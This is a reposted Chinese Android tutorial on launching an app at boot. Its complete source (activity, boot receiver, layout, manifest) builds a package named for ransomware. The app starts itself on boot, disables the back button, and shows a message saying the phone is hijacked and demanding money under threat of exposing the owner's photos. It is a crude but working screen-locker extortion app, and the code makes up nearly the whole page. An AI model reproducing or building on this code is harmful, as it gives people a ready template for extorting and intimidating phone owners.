Android_07_开机自启动
来源:互联网 发布:平板windows系统 编辑:程序博客网 时间:2024/05/21 11:32
MainActivity.java
package com.itheima.lesuo;import android.os.Bundle;import android.app.Activity;import android.view.Menu;public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } @Override public void onBackPressed() { // TODO Auto-generated method stub// super.onBackPressed(); //这个方法是在返回键按下时,调用,其内部实际也是调用了finish()方法; } }
BootReceiver.java
package com.itheima.lesuo;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.sax.StartElementListener;import android.widget.Toast;public class BootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// 启动Activity,实现开机自动启动勒索软件Intent it = new Intent(context, MainActivity.class);//创建任务栈存放启动的Activity//在activity之外启动activity,需要设置任务栈;it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);context.startActivity(it);}}
activity_main.xml
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" android:orientation="vertical" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已经被我劫持,速速把XXX元汇入XXXX账号,否则我就曝光你的照片" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="转账" /></LinearLayout>
清单文件如下:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima.lesuo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima.lesuo.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name="com.itheima.lesuo.BootReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application></manifest>
注:记得在清单文件添加一条权限及声明广播所接受的类型
0 1
- Android_07_开机自启动
- 【开机自启动】开机自启动应用程序
- 程序开机自启动
- symbian开机自启动
- 开机自启动
- 程序开机自启动
- 程序开机自启动
- oracle10g 开机自启动
- Symbian开机自启动
- Android开机自启动
- Android开机自启动。
- samba 开机自启动
- 开机自启动程序
- 开机自启动
- 开机自启动
- 【Android】开机自启动
- 开机自启动tomcat
- MFC开机自启动
- Site Template
- 安卓集成支付宝支付功能
- Java基础知识总结(二)——NIO
- Java中OutOfMemoryError(内存溢出)的三种情况及解决办法
- DATA GRARD安装配置、维护、切换
- Android_07_开机自启动
- 《细说PHP—第三版》新书出台啦
- Linux下ps命令实现
- 麻省理工免费在线课程首次可以获取学位
- Hive中的.hiverc文件及命令运行方式
- List遍历中删除元素
- HDOJ 1166 敌兵布阵(线段树or树状数组—区间求和与单点值加减更新)
- android service 详解
- jsp表单提交后,显示中文乱码